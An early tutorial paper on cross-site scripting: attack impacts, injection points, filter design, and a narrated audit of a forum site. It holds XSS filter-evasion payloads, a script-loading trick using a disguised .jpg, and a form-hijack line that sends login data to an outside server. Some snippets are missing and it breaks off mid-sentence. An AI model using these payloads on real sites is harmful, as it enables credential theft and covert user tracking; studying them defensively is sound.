Paper: Real World XSS

Written by David Zimmer,

Tuesday, 3 June 2008

Author:     David Zimmer 


Updated 11/04/03 -
-Article Downloads included
-HTML and downloadable CHM versions now available, see for links


Section 1 - Description, and overview
-Impacts (Attack Scenario)
-Impact Summary

Section 2 - Methods of Injection, and filtering
-Injection Points
-Injection methods and filtering
-XSS scripting tips and tricks

Section 3 - Inside the mind, mental walk along of a XSS hack

Section 4 - Conclusion


Section 1 - Description, and overview


So what is all the media fuss about XSS?

For those of you who don’t know the acronym, XSS stands for
Cross-Site Scripting. It is the term that has been given to
web pages that can be tricked into displaying web surfer supplied
data capable of altering the page for the viewer.

This is a pretty broad term and I apologize, but as you will see
XSS has such a wide ranging berth of attack vectors that such a
Description is necessary.

We have all seen the numerous Bugtraq postings "XSS FOUND IN
MANY MAJOR WEB SITES" and we have seen the examples to prove it
Does indeed exist, but many of these still leave many readers thinking
"Ok, so they can throw up an alert box, how dangerous can that be?"

This brings us to our first general truth..Finding XSS holes is the
easy part, knowing how to creatively exploit them and assessing the
possible impact of them is where the real coding and creativity comes in.

There are many many documents on the web detailing XSS and generalized
book definitions of it, what I haven’t seen is a practical approach and
example usage of outside of the bounds of the few default examples
usually given. I believe this has made people overlook XSS and not
realize its true impact.

For a brief background, I first started my study of XSS about 5 years ago,
when I (ab)used it playing pranks in 'no rules' html chatrooms. From there
I branched out using my knowledge and abilities to help secure sites and
perform web application security audits. I have a personal fascination with
programming and web technologies and have grown very familiar with windows
programming, ASP, database and other web technologies.

The knowledge contained in this document is a summation of these years of study
experience, intuition and experimentation. Many of these concepts are things
that I have been introduced to by piecing together bits of information and
conversations over the years. I am presenting them all here together in one
document because I have yet to find a comprehensive resource detailing the
exact impacts in conversational real world scenarios.


Some topics basic to this document are an understanding of URL structure,
and some knowledge of html and JavaScript. Additionally knowledge of
URL encoding, http request methods and web application technologies such
as ASP, would be helpful.


Before we look at the specifics of how these page alterations are
possible, lets take a step back and enumerate some of the possible
impacts XSS can have on your web site. The root question we should
ask ourselves is what could an attacker be trying to gain by using

1) Theft of Accounts / Services

Of course the first thing that comes to mind when XSS is mentioned is
Cookie theft and Account Hijacking. In fact, one of the default XSS examples
shown to the public is alert(document.cookie) signifying the importance and
inherent dangers of a third party being able to execute arbitrary web code
in the clients browser.

In a fair amount of cases, especially with older web applications,
a stolen cookie can easily lead to account hijacking. This occurs when the
cookie is used to hold all of the verification information on the client side
and nothing is tracked on the server as to the surfers state or credentials.

Some common motivations for this category would include:
Identity theft
Accessing confidential resources
Accessing pay content
Account Denial of service

2) User Tracking / Statistics

Another usage of XSS is in gaining information on a sites web surfer
population. As an experiment some time ago I set up a simple mechanism where
I could literally monitor people’s clicks through a vulnerable site.

Yes this is perfectly possible, and indeed was shockingly easy to do,
Had I taken the experiment a step farther I could have also linked the surfers
email address to their surfing habits and interests, stats advertisers and spammers
dream of.

3) Browser/ User exploitation

The second most common example of XSS exploitation provided is the
venerable alert('XSS Example') script. A simple alert box is a very innate
example of the type of attacks that fall into the category of user exploitation.

One visit to George Gunskies Site or a review of some of the browser
exploits discovered by ThePull should be enough to make anyone realize that
surfing the web can be a dangerous experience.

Imagine if I had, in the above example, not just tracked users, but had
instead been trying to actively exploit them? I could have used an unknowing
web site to discrimnate my malware to thousands of unsuspecting victims all at once!

A couple things that I should also mention that may not be to obvious with
this style of attack is

A) to a casual surfer, your site is the hostile site
B) I can be leveraging off of the credentials of your site.
eg. Say had a XSS hole that someone exploited like this.
If I were to utilize a unsafe activex control in my exploit,
surfers would take into account that this was after all
Microsoft, and they very well may click ok to run it, even if
they would not on other sites.
c) I have a much much higher distribution rate and even a tighter target audience
than I would through many other distribution types.
d) I don’t actually have to exploit them, I can just steal them all from your
site and bring them to mine.
e) I might not even care about abusing your site, I might just care about
the number of surfers I can hit and force into actions on other
third party web sites.

The Sub category of User exploitation is a subtle variation but a distinction
worth making. Browser exploits rely on specific security holes in specific versions of
web browser software. User exploitation is the act of forcing users to take actions on
your behalf. These actions can include privileged actions only then can perform like
account modifications, sending email etc, or they can just be used to force random
unsuspecting web users to take general actions and give me an abstraction layer in the
chain of evidence.

4) Credentialed Misinformation

One of the most dangerous, yet often overlooked, is the danger of Credentialed
Misinformation. Once we have active scripting executing in a browser, we can pretty much
do anything we could desire with the pages content. If you were a large trusted news site,
this could be quite a dangerous thing. Imagine seeing a link on a messageboard or email
saying that there were a reactor meltdown on the west coast and thousands were dead and
injured? the site was clearly a legitimate large news site and a trusted resource. The url
looks legit, is only about 50 characters long and raises no suspecisions. When you get to
the site, you are horrified to read through the pages of graphic detail. How can this be?

With a XSS vulnerable could quite possible NOT be. Misinformation attacks
are not limited to news sites. With but a minor twist and a quick jaunt of thought, My
originally email message could have appeared to have come from some popular web site you
have an account with and asking you to visit this page to renew your password for
security measures. Again the Url aims directly into the heart of your beloved site, so you
think little of it and just fill out the information. What you don’t see behind the scenes
is that the crafted url you clicked on got your browser to display a phony login page
created by a malicious author and that the form just submitted all your login information
to him. Congratulations you have been duped with the help of a XSS vulnerable site, and you
will probably never know it.

5) Free Information Dissemination

With the concept of page rewriting under our belts from the misinformation
dialogue, the concept of free information dissemination is one of the next logical
realizations we come to. Lets say I have a message I want to get out like SPAM or
some political extremist message. In both of these cases It would be desirable for
me to limit my personal attachment to the message and further draw out the evidential
chain leading to me. Again I can utilize a XSS vulnerable site to show my message.
All I would need to do is to post a crafted url on some messageboard, if the message
was relatively short I could include it all inline in the URL and not have to worry
about exposing my own web hosting account and linking it to the message,

6) Other

This category is included for the simple fact that there are as many types
of attack possible as there are attackers , motivations and technologies available
to exploit. A couple scenarios that might fall into this category would be using
random web user as an abstraction layer..forcing their browsers to silently make
exploitive requests to other web servers. This blind proxying would again lengthen
the evidential chain leading back to you.

Another technique would be to use a XSS vulnerable sites large user
base to chew up a smaller sites bandwidth. Just insert a 1x1 image src to the largest
image on the target site. With a large enough viewing you could effectively chew up
the targets bandwidth for a while.

Finally there are techniques that aren’t really scripting attacks but are still
html injection attacks and are worth mentioning because the filtering is still in our
ballpark. Html injection attacks are ways to insert malicious html to wack someones
web pages. A couple brief examples will be covered down in the filtering section.

Now that you have seen of the possible utilizations of XSS, we shift gears slightly
and summarize its strengths and weaknesses as an attack vector.


1) can include a very large and target audience with one injection point. In some
instances can hit every single user of your web application at once and be present
on every single page they visit

2) can force a user to any action they are able to take, and can potentially access
any information they can access

3) can be hard to detect and can be slipped in quietly, chain of evidence can be drawn
out and not readily apparent how exploit or actions occurred

4) can be a powerful tool for information display and alteration. With the advanced

of IE and dynamic html, every portion of a pages content can be changed on the fly through
active scripting.

Weaknesses -

XSS is 95% percent avoidable with proper filtering techniques on any user
supplied data. While making sure that every element is filtered in large (and especially
legacy) web applications can be a daunting task, properly implemented filters can prevent
your site from falling victim to the above mentioned attack scenarios. To date there
are several commercially available tools that will scan your web application and automate

the task timely task of XSS enumeration. One such tool is of course WebInspect from


What is the 5% that is unavoidable? Reality, we have to accept that web
applications can be huge tangled beasts to edit and secure, we have to accept that
even a small last minute modification can have unforeseen impacts, that no one can
catch everything, that as new technology and browser capabilities emerge filters
have to be reevaluated, new attack concepts and finally that there is nothing
called a sure thing (tm). In the end its always better to know your process
capabilities and accept the reality of the unforeseeable.

Section 2 - Methods of Injection, and filtering


The next logical step in understand XSS is to enumerate its injection points.
Where can our web applications fall victim? Since XSS works as an interaction with
active server content, any form of input should be filtered if it is ever to show up
in a html page.

The default example, and the easiest to exploit, is parameters passed in
through query string arguments that get written directly to page. These are enticingly
easy because all of the information can be provided directly in a clickable link
and does not require any other html to perform.

Many web authors feel that making their page only respond to POSTed
inputs gives them an added layer of security against these types of attacks. While
this can be true if coupled with other preventive measures, any where i can inject
a html form and have the user click a submit button, I can get them to post to a
form (and yes the form can be hidden and the submission easily automated).

The above two examples describe active XSS attacks. That is to say ways in
which a user has to take an action and make a choice to be hit with a XSS attack.
This gives the user the opportunity to examine the link or to discover us, this is no
good from the exploiters view. Sure it works, but it is to dependant and relies on
us not getting caught and having the user care enough to take some action.

More dangerous are passive XSS attacks. These are
defined as attacks I can perform where the user will not have to take any action,
they will not have to click on any link, and they will have no idea that anything
out of the ordinary is occurring. These attacks occur automatically and can hit very
very large audiences completely silently.

If the user has to take no action, how does the malicious data make it to
them? Database storage. Think of a messageboard, If I were able to post active scripting
in my post, anyone who viewed my page would automatically be executing whatever I
could cook up without even knowing it. Think laterally for a second and you will
quickly realize that any data store your web app does that eventually makes it back
for surfer viewing is potentially a target for a malicious user to create a passive
XSS attack with.

This is how I achieved the XSS User tracking mentioned in the above
example. I was performing a security audit for a large forum site. The site allowed
users to post articles and discussions and kept a marquee of the top 10 as part of its
default page template. Every single page on the site had this marquee, and through
parameter manipulation and its subsequent database storage, I was able to have the
server output my tracking code to every single surfers that was on the site.

I sat back, watched and catalogued all of the sites users as they navigated
amongst the pages. Had this not just been a demonstration, I could have literally linked
usernames and email addresses to those observed surfing habits. Probably not something
you would desire for your prized user base.

Sites that are particularly vulnerable to this form of attack would include
guest books, html chatrooms, messageboards, discussion forms etc. If you have any of
these on your site pay particular attention to filtering user supplied data. If you
do find a XSS hole on your site, you must also make sure to scrub your database to
break any of the existing code that may already be stored away. When you are doing
the filtering remember to use case insensitive search’s, it is a simple mistake but much to
easily overlooked.

Another note worth throwing in here, is that as business apps with private
intranets and integrated web applications become more prevalent, Even windows
developers have to start concerning themselves with the dangers of cross site scripting.
In a humorous example, the other day at work I was able to enter html code in a business
app we are developing, which in turn became displayed in the web app interface we
had integrated with it. This adds a whole new dimension to XSS and even Sql injection
attacks, but alas I digress.

One last Injection point to consider is your error pages. Some servers include
special "404 Page Not Found" or servlet error messages that detail the page that was
requested, or parameters passed in. If these elements are not filtered they provide a
perfectly overlooked breeding ground for XSS injection.


Now that we have a handle on the breadth of the problem, and where the
malicious input may come from...we have to understand just what data may be thrown
at us and how to combat it.

Active XSS is relatively easy to prevent by filtering out a series of
characters in any user input received. Since each page has a defined window
of inputs, they can all be filtered in a quite logical sequential way.

When we migrate to shielding against passive XSS attacks it is somewhat
of a different story. Often user information and data is taken in through a series
of web forms. The final pages, a conglomeration of many users supplied data. Of course,
again all input data must be filtered, but typically there are many more
places for err to crop up. This problem is compounded by the desire for many of these
types of datastorage web applications to allow the user to enter some html inputs.

Html is a very dynamic and free flowing language. Something that allows the web
to be as advanced and colorful as it is, and also something that can make it a nightmare
to parse and filter. To make matters even worse, browser technology and features are
expanding at an incredible rate. While this makes the web fun and dynamic, it makes
the security auditors job more difficult. How can you expect a legacy web application
to take into account new features, protocols and attack vectors? You cant.

The easiest way to deny cross site scripting (and probably the only really
secure way) is to deny users the ability to use any form of html in their data. If you
would like to allow html, just realize that your filtering routines must be designed
very wisely. Many many very large high profile sites have had XSS holes discovered in
them as the result of filter loop holes, including Yahoo and Hotmail.

The next logical step is to see some examples of just how XSS can get
inserted into a page. I have created a simplistic asp page that will walk you through
some common injection points and example exploitation of it. Please take a few minutes
to read through it and play with the examples. To see how it all works right click
and view source and identify where the injection occurred.

[ insert url of demo page here ]


Filtering can be both a relatively simple matter, and a vastly complex one all
at the same time. The incongruece lies in the extent of your needs. Your server
side scripting language of choice can also help you minimize your exposure.
Before we get into active server languages just let me admit I am most familiar
with asp so that is where the heft of my examples shall rest.

Lets assume you have a parameter coming in that you expect to be an integer. That
assumption can often be your downfall, which incidentally is also why these types of
parameters are often found to be sql injection points as well. Anyway.. integer types
are easy to filter. Actually we can let the ASP engine cleanse these for us in
one step. Consider the asp line:


What happens if our friend num is not an integer? ASP engine throws an error

Microsoft VBScript runtime error '800a000d'
Type mismatch: 'cint'

Well that handles that. In perl I believe simply adding +0 to the variable will
have a similar effect and force the variable to be numeric.

But what about string types? That is where the brunt of the work is going to lie
and where all of the problems begin. If we do not want to allow any html input
what so ever then our job is simple. Remove all < signs and quotes and we should
be pretty safe as long as any html we insert into dynamically is always wrapped
in a quoted string. Note that if we had a page source something like:

<img src=/images/img<%Response.Write(Request.QueryString('nextimg'))%>>

In this example removing quotes and < will make it very hard for an attacker to
create a usable attack but I would not venture to say it impossible.
Since the src= attribute is not quoted in anyway, there is nothing for
them to have to break out of. If the next img value merely contains a space in it
they will effectively be out of the src= attribute and able to insert their own code
such as onerror=. Even though technically they will be able to execute code with this

technique, scripting without the use of quotes is extremely hard (or at least I haven’t
discovered the trick to it yet) see the tips and tricks section for some techniques I am
playing with to try to work around it.

The last category and the most in-depth to cover is the technique and considerations
of allowing only some html content and trying to deny the use of malicious html and

Users who would use these techniques include web mail providers, message boards and
html chatrooms. Before we go into script filtering we should expand on the
definition of malicious html some. If an attackers goal is only to wack your site
he might be just as content to make your new message board unusable to others as he
is to use it to exploit all your surfers. This could easily be done through pure html
tags with no attributes. It is doubtful that you would want your users to have the
ability to enter a <plaintext> tag that would turn the rest of your html page and forms
into an unusable blob of text. It is also unlikely that you would want them to embed
a 10000000 x 10000000 image of two elephants mating. When it comes to allowing users
to post html, just beware that you are in it for the long haul. Both in maintaining
your filters to current technological demands as well as accommodating for non script
based attacks.

Enough digression. Onto the filters. A good disclaimer to enter here is that I am not
that experienced in creating keyword filters. When it comes to my projects I filter
exclusively no html. I do however have alot of experience working around filters and
have read alot of discussions so with that in mind here we go.

The only sane implementation I have heard of is allowing a very confined list
of html you want to allow and denying all other tags. This could be implemented by
splitting the textblob at all < signs and then reading up to the first space in
each element to see what the tag type was. If the tag was recognizable and allowed
then grab the offset of the closing tag and replace the substring with a clean no
attribute version of it. If the tag was not allowed then it would be removed. If
the tag was not allowed and did not contain a closing > then I would ummm I don’t know
I would have to define the filter and experiment alot :)

For tags where you absolutely had to allow attributes such as img src= tags, I would grab
the necessary src= attribute, validate it, and then insert it into my own clean
img src= tag so I didn’t have to worry about any event handlers or lowsrc or dynsrc or
the like. The same technique would be applied to href= attributes. A safe list of
tags to allow along these guide lines would be:

<font face= size=></font>
<b></b>, <I></i>, <u></u>
<img src=>
<a href=></a>

Etc.etc. Really this is probably all I would allow by default. IF you need more follow
the above guidelines on implementation.

So assuming you follow the above guidelines and allow no tags and no attributes other
than those you copy over to the saved data what will you have to validate to make
sure your users are safe?

If the above list is all you allow, I will assume you can manage validating the
font size= and face= parameters. Img src and href= are two big ones worthy of
many debates and many dangers that I will attempt to present next.

Lets first look at our img src tag. We have cleansed it from all the tricks of
lowsrc dynsrc, event handlers and style elements simply by parsing out the src=
element. Now we must validate it.

I am walking through thoughts here as we go, so please forgive any jumps.

1)We have to quote the src= string to be safe and accommodate for urls with spaces.
2)We should remove all single & double quotes in it.
3)I would reject any urls with ? querystring identifiers in it and make sure
that it did not have .cgi, .pl .php .asp etc in the querystring. Sure we could
make a .jpg a perl script but we cant account for every loop hole and this is
already an overcautious measure against webbugs.
4)Next I would check the protocol. I would deny anything that wasn’t explicitly http://

So what do these filters prevent against?

Quoting the string makes sure they cannot escape the element attribute and insert
their own event handlers. This must be don’t in conjunction with step 2 replacing
all quotes. Actually you probably don’t have to replace both, just the ones you use
to quote the string with your src= element.

Denying all urls (for img src any) that had ? or reference to a server script would
deny users the ability to webbug your surfers. A danger of this could be collecting
stats on users and site and tracking users across pages by their referrer.

!!Note that any link aiming off server will reveal http referrer headers. This is a
major reason why web developers are told not to include important info in query strings
and how I used to collect admin logins to chat servers :P (It may also be a good idea
to add target=_blank to all links to avoid a possible referrer leak,[but there will always

be a referrer leak for img src tags])

Next we validate the protocol. For obvious reasons we probably don’t want to allow
the file:// protocol on links or images. For equally obvious reasons vbscript:
and javascript: would be an unpleasant experience. In the end it will be best to
not worry about what is there, and only worry about what isn’t. No http:// at the
beginning of the string, then deny the tag. The reason is it is relatively easy to
add protocol handlers to windows. Aim:// has its own that may have been found vulnerable
as well as icq:// if these protocols are present in an img tag that may be enough
to make the browser fire the registered program type.

As a humorous example, back in the days of IE5 I used to embed
an img src=telnet://myip:23 and then run a custom daemon. All of a sudden my friends
would complain that some window had popped up and that someone was typing text to
their screen! Heh parlor tricks gotta love em. On a more serious note, you can see
the possible danger.

One other thing I just thought of is the possible danger of line break tricks.
If you follow the above explicitly you should be ok, but if you were to vary at all
you should be aware that there is a whole subsection of filter bypassing techniques
based on inserting CR, LF or CRLF into input strings. I have also seen javascript
execute with a -> breaking it up. Consider how these may impact your filters

That should give you the basis for a sane implementation of a minimal content keyword
filter. If you try to base your filters off of just replacing keywords you are going
to run into all kinds of complexities like new elements, attributes you didn’t know about,
weird event handlers, script encoding, and even multiline tags that can throw your
parsing for a loop. If you want to try any of those techniques may the force be with
you luke *breathes like darth vader*


Well I couldn’t resist this section, this is where I have my most fun anyway.
This is some of the techniques people can hit you with with XSS

Q) Just how much script can you inject in an image src tag?

A) Its a different style of coding but it can get quite complex :)

<img src="javascript:txt='UghhOghh.!!! My Screen Just Ran Away!!!';
txt2='Now come on you have to admit that was funny *S*';x=0;y=80;
function niceguy(){nice=confirm(txt2);
function ha(x){parent.window.moveTo(x,y);if(x==1800)alert(' went Bye-bye ; )');
alert('*Yawn* tired');ha();">

Q) What are the biggest tricks useful in XSS javascripting?
1) knowing how to embed nested quotes is a necessity you can escape
quotes in a quoted string like this \' or \" or you can use
the unicode equilivents \u0022 and \u0027
ex: alert("\u0022") or alert("\"")

2) keyword filters that allow any js to execute are useless
ex: a='navi';b='gator.userAgent';alert(eval(a+b))

3) short input length + script block embed = unlimited script power if
you can squeeze in an script src=

4) ssl pages warn if script src= comes from untrusted site, but if you
can upload anything to the server like image or article that is
actually .js file commands, you can bypass this warning because
script src=file.jpg (also useful to help bypass input length reqs
(also note IE doesn’t care a wink about file extensions on script src=
files :)

5) you can read an entire pages content with javascript in IE, not just
limited to manipulating form elements. You can also edit the page
on the fly. learn your dhtml object model danielson !

6) event stealing: say a page with a log in form has a XSS hole,

7) styles trickery. I have to learn these tricks too! but from what I have
heard hinted at and mentioned in passing there are some cool power
tricks to be had!

8) be familiar with methods of script encoding.
<img src='vbscript:do%63ument.lo%63ation=""'>
<IMG SRC="javascript:alert('test');">
<IMG SRC="javasc ript:alert('test');"> <-- line break trick
\09 \10 \11 \12 \13 as delimiters all work.

9) working with no quotes (also necessary dealing with injection on php scripts)
with php scripts any " or ' we inject is automatically turned into
\" and \' respectively :( this is a big problem for complex scripts.

It kinda works ok for event handler insertion we can still close the
parent quotes because html doesn’t understand the \" escape sequence
and only sees the " this would let us use simple things where we could
get away with only using strings already found in the document, numbers
variables, etc but what if we need to include our own string?

chew on this:
regexp = /this is my string its actually a reg expression/

I haven’t really decided how useful an evasion this is yet. I myself
am still chewing away like overcooked steak. With this we can get away
with no quotes, however / which we need for urls are special chars and
need to be escaped in the reg exp. and php takes \ (which is the reg
exp escape char as an escape char and escapes it to \\ so that is
confusing. however we also have the power of regexps in our toolbox
and we have a host of built in objects to generate and build up strings
from so something like:

n=/http: myserver myfolder evilscript.js/
//document.scripts[0].src = n.source.split(space).join(forslash)

a little tricky but doable that chewed well after all *yummie*

another trick that could be useful with the no quotes hack is a simple
script encoder such as the below example


Voila, complex embeddable scripts with no quotes or forward slashes.


Section 3 - Inside the mind, mental walk along of a XSS hack

In this section I am going to document some of actual scenarios I have found in
the wild and what could be done with them. In essence these are some of the experiences
that made this paper possible. All of the holes I am going to document here were in
a large forum / community type sight that shall remain anonymous. All of these tests
were done legitimately with the blessing of the sites owner and were matters of testing
as I conducted a security audit on his site. Every tester knows how monotonous churning
through page source and repetitive tests can be, so I took it upon myself to play and
experiment and see what I couldn’t squeeze out of some of these seemingly innocuous holes
and tried to gauge the real impact of these forms of attack.

Before we get started with the details I will describe the web sight a little more. The
site in question was a large forum type site. Users could login, browse other users

and submissions as well as leave messages to each other on numerous messageboards. Each user
also had an account modification section where they could update their stats as well as
manage their submissions to the site.

The main site consisted of a template with search engine functionality as well as a ticker
of the most recent articles submitted by users. This is a relatively large
site with anywhere from 3-10 thousand users online at any given time.

As the audit progressed I soon found that by going to the user management interface I could
embed img src scripts and other html in the author name field. Reflecting back on the
layout of the site I knew that this would allow me to execute scripts on anyone who visited
one of my submissions. I also knew that this would execute anytime my name turned up as a
result from the site search functionality.

Now the gears start churning, hummm what can I do with this? Since I am the curious
type (and mabey a touch mischievous) I decided it would be a worthy cause to play with
the hole and try to gauge the actual impact. The first thing I wanted to determine is
how popular of a cat I am ;) (Or in more professional terms, how often my pages were
being viewed and the scope of the injection vector)

Since I could insert img tags this much could have easily been done just by inserting
an img src=http://myip and then watching server logs, but since this is a cross sight
scripting paper, and that is to boring, I decided to play with some other techniques.

Just for fun I though it would be cool to try to get use the img tag to try to inject
a full script into the page. Of course this can be done inline with creative javascript,
lots of semicolons and specially designed strings and functions as in the above example,
but that is alot of work. Wouldn’t it be nicer to just be able to inject a whole script
file and not have to worry about complex messy embedded commands? Of course it would.

So how do we get a hapless image tag to do this, and moreover how do we do it so that
unsuspecting web surfers don’t notice a thing. Having the site we are auditing all
of a sudden get wacked by a bunch of kids who notice the hole because we were playing
with it would just be not good. So we will just have to be a little sly and a little

If we inject a image to a non existent url, it will fire the onerror javascript event
handler, but it will also leave that ugly little broken image placeholder in the document.
Sure those raise little suspicion and are common place, but I still see it as evidence.
So with this in mind we will img src a 1x1 pixel transparent gif image that will load
seamlessly and be undetectable to browsers. Loading a successful image raises the onload
event handler, here is where we can put our payload with a url such as this.

img src='http://valid address/clear.gif'

Examining the above code you will see that instead of trying to embed some long
complex nested javascript inline I chose just to set the script src of the first
script on the web page to be my script. This makes the browser (IE6 anyway others
untested) load my script and execute it. My EVIL script in this case was just a
one liner, a simple

document.write('some innocous text')

In this way I get to play a little, I get to see who loads a page with my name on it
and I coat it over so that they never know the difference. The text contained in the
document.write code appears right inline in the page next to where ever the img src
code executed.

I set up my smallserver to dish out the script file (a small web server package I made
especially for playing with xss holes that logs directly to screen and is included
in the support file zip.)

With the above in motion I went back to the site, logged in and changed my name to
include the injection script, from the sight stats atop the page it appears that there
were some 3000 potential victims.. err test subjects.. afoot.

I submit the data and then quickly hop to one of my articles to make sure all is
working as planned. Sure enough up pops a request on my servers screen and there
is my innocuous inline text. So far so good, now the waiting game has begun as I
anxiously and nervously await the results.

Wait, wait, wait, hit !

This is just like fishing :)

Slowly request after request rolls in, I casually wade through the data I am collecting
with a giggle noting the browser people are using, where about in the world they are
from, and what search topics they had requested that had turned up my name. After about
5 minutes of data trolling I decided I had indulged my curiosity enough and was ready to
move on. 5min collection yielded 20 hits, which doesn’t sound like a lot given that there
are 3k plus people online, but it should also be noted that I only had 8 articles on
the site out of hundreds of thousands. Had I been a little more daring I probably
should have expanded the test a little to do some simple script tests to see what
percentage of the user base I hit had been actually logged into the sight at the time.
But that is borderline unethical so.

With that experience under my belt I got to thinking, given enough time and less morals
I could have collected all kinds of stats on users, stolen account info, email addresses
etc. (yes full login information and email addresses were held in the cookies of logged
in users on this site)

Since morals being what they are, I instead shifted my attention to a bigger hack. I wasn’t
satisfied that I could slowly trickle in info..I wanted INFO and I knew that it was out
there 3k users online...humm how can I impact them all?

In the days to follow further examination of the sight revealed that in one of the asp
interfaces I could inject scripts into the article name pane but it had to be done in
45 characters or less.

Again examining the layout of the sight to gauge the impact I found that as in the above
example it would hit users who returned me as a result of a search. However this time if
it was a new article submission that still appeared in the ticker my code would be output
to every single user on the site at once and be on every single page they visited!

My heart thumped as my head swam in ideas of the things I could do. I could track users
across pages, I could correlate email addresses to viewing preferences and topic searches.
I could literally build a profile of the surfer and even do it in a personal way.

What marketing firm wouldn’t love those kinds of stats? A more malicious individual could
also take other routes such as account theft, redirect surfers to other sights etc..
but since we have already covered the dangers and why you should be wary of XSS we wont
dive into that again.

Ok, so if I can inject a script in 45 chars or less, thousands of users info will be
at my fingertips. hummm.

<script src=''></script> = 55 characters


Nosing around the sight some more, I remembered that it had upload functionality for
both user documents, zips, and author images. User documents were always inserted
into the sites template so weren’t usable for this. the Zip files were scanned and
opened to make sure they didn’t contain any virii. This left us with an author image
upload. Luckily after upload the 'picture' was just given a server defined name
and stored to disk without being validated or resized as an image. Perfect :)

So I create my evilscript file and rename it somthing.jpg. I goto my user manager
and upload it as my author info for my bios. Then I goto my bios page and snag the
url and name the server gave my file


Just to double check it was still valid I fired up WebSleuth and made a raw http
request for the resource. Sure enough it spit out my script file and no extra data.

going to craft my injection string I try on the fit of my new url

<script src="images/778237.jpg"></script> = 41 characters

Cool, I can just sneak in the script with room to spare.

Just to be thorough I go back and edit one of my old submissions with a simple safe
script. Sure enough IE loads the script without a complaint of the extension and we
are in business.

Soda in hand, interface pages bookmarked I set out for some more stat taking. I knew
the test was going to work, and I knew the impact, but somehow that little kid in you
just has to pop out and have his moment of fun, just to say you did it.

I submit a new article, I hop to my bookmarked page to edit the article (where the
validation hole was), paste in my injection string and submit.

Now since the script resided on the server, I could not watch user stats roll in
from requests of the script file itself. How then did I collect stats on the users on
the sight?

Here is another thing worth understanding about cross sight scripting. Data collection
methods. How did I not detail this above. Anyway, my script is executing on all of these
random users machines from locations across the globe. How do I receive the data the
scripts collect?

There are alot of ways to collect the data, you can collect it by watching server logs
as we did in the first example.or you can also collect data by forcing the users to submit
data to CGI scripts which neatly break down and process the data. The problem with
both of these techniques though is that it requires some level of commitment on
the attackers part to either reveal his own IP or to reveal one of his web hosting

Of course there are many anonymous ways as well. Submitting data to a rouge CGI mailer
script, forcing the user to post to an anonymous messageboard or guestbook script,
or even using an unsuspecting trojaned user as a data collector. In the end tracking
these types of attacks can be very very tricky if not impossible if done right, but we
aren’t going to get into all those possibilities now. For our application we are simply
interested in what browser the users are using and what page they are on. Luckily both
bits of information are standard browser information leaks given out with any request
for a web resource. To keep the test as simple and non-damaging as possible I choose
to just use a small javascript that would change the img src of one the documents
images to be the url of a cgi script I had running on one of hosted accounts.

Another thing I had to consider in such a stunt was that I couldn’t use my own
ip or server for two reasons. thousands of hits would QUICKLY flood my connection
and could quite possible DOS me to the point I couldn’t keep up with the cgi data
and I could probably be web wacked for quite a while not allowing me to change back
the data to effectively "turn off" the onslaught.

Why web wack yourself if you don't need to right ;)

So, the script commands in the jpg file were this


My script was a script that executed on the server. When it received a
request it would just log the ip, useragent and referrer passed in the HTTP header
to a database and would then output a 302 Document Moved Header which would automatically
redirect the browser to an actual image file. Since every page on the site was served
with the same template I knew the image I would be changing would always be the same, so
I just redirected the url back to that image so they wouldn’t see even a broken image icon.

I am so considerate.

Had I been the nosey sort, I could have collected some real data on the surfers and used
the javascript to do whatever and then append it to the query string of the img
url. Had the data been to long to be passed in on a query string, then I could have
used the javascript to dynamically write a hidden iframe to the parent document, written
a simple form the window, filled in the elements and then posted it off to the server
side script. No need to try to script across domains or worry about domain security models.

Ok changes made, script in place. I would give it about 20 seconds for data collection,
not wanting to wack my hosted site or expose to many people, then I would change it back.
and be off to reap the rewards of my collected data.

As I sat and contemplated, I decided there was no need to carry through to the end goal.
I knew it would work and had proven all the steps to myself before. Not quite content to
just pack up and go, I changed my injection script in the jpg file to a simple

document.write('some simple text for articlename')

Making the changes and watching the ticker scroll my little inconspicuous message
and knowing that it was also scrolling away on 7k other machines across the net
was enough to give me the satisfaction of the moment. I then went back and changed
the article name to the same text I had used in the script and no one was any the

As my moment of victor waned and with it my perma grin of the private joke, I went
back to examining the site. For the sake of brevity (to late now you say?) I am
only going to include 2 more examples of XSS holes I found in this site, both of
which demonstrate techniques and concepts it is good to be aware of.

The next hole I found was a login page. If you were on the site and tried to perform
an action that required authentication as a user, it would redirect you from the page
you requested to the login page passing the referrer page in the querystring. Since
this referrer page was always handled internally it was assumed it was always a safe
value. Not so safe :)

I could inject any script I wanted as its value in the querystring. This example is
what I term event stealing. First, to discuss briefly, is how you could entice users
to the login page. Isn’t the URL going to have a long querystring on it or the obvious
<script src=></script> blocks ?

Do you recognize this as script blocks at a glance?


of course a fully encoded section of url is suspicious. So how about mixed encoding
and then viewed in its natural habitat.



It doesn’t look so obvious now the url isn’t overly long alot of people just click anyway.
If you can put link text as something similar they won’t even think twice. Anyway I digress
lets not worry about user tricking and just assume they are there. Event stealing is when
you replace an even they have setup in a page with your own commands.

For the example of a login page, Sure you can inject a script, but the page contains
no data until they fill it in. So you have to wait. You could use a timer or some bogus
logic but the best way to know when to snag the data is steal the event of form submission.

Actually you could steal the submit button press, which could fail because of validation
routines, or you could just steal the onsubmit event of the form or even the unload
event of the page. If you were to choose the onunload even of the page, you would be
kinda stuck. The page is closing, you don’t have time to change an img src and would be
force to open up a new pop up window. This is way to obvious. This leaves us with two


document.forms(0).onsubmit = ourfunction

or you can just steal the whole form submission and make it submit to your own server side

document.forms(0).action ="http://myserver/myscript.asp"

then redirected them back to the proper script and hopefully they wont notice.

The last Example we will dive into is a SSL encrypted page example. SSL and high encryption
just seems to make developers and surfers feel so warm and fuzzy inside. Haha you cant
get meeeee.


This is a bit of myth. Sure the data transfers are sound, but if an SSL encrypted
page has a cross sight scripting hole all of that transport layer security is blown
right out of the water!

Same sight, different page. We are in an account management page. It is SSL encrypted
because it contains information on credit accounts and payment options. Since it is
SSL the developer felt safe including plaintext username and password information in
the form. The problem is that the server script took a querystring argument from a
previous page and echoed it directly to the page source with no filtering. Again
we have a 45 character input limit.

Now because the page is SSL encrypted, even if we could slip in a script src= to our
server, the browser would complain that the page contains unsecure items. We don’t want
this. We want the surfer to feel warm and fuzzy and we want to hide in our dark alcoves.

The answer to this conundrum is again a script file embedded on the server somehow. Again
the author image upload to the rescue! Yay author Image!

Anyway, glee aside, same trick to execute script, same content length bypass,
same tricks to steal data from the page (this time juicy data though), only difference
is that SSL was there...and it didn’t stop us one bit. Since the script was coming from
the same server, no security flag was raised and the script was assumed as secure.

How does that saying go? Bingo was his namo ?

The last trick I want to bring up is the idea of leveraging XSS attacks. In the
above example I had an active attack that could lead to financial information. Since
it was an attack where a user had to click on a click or perform some other action
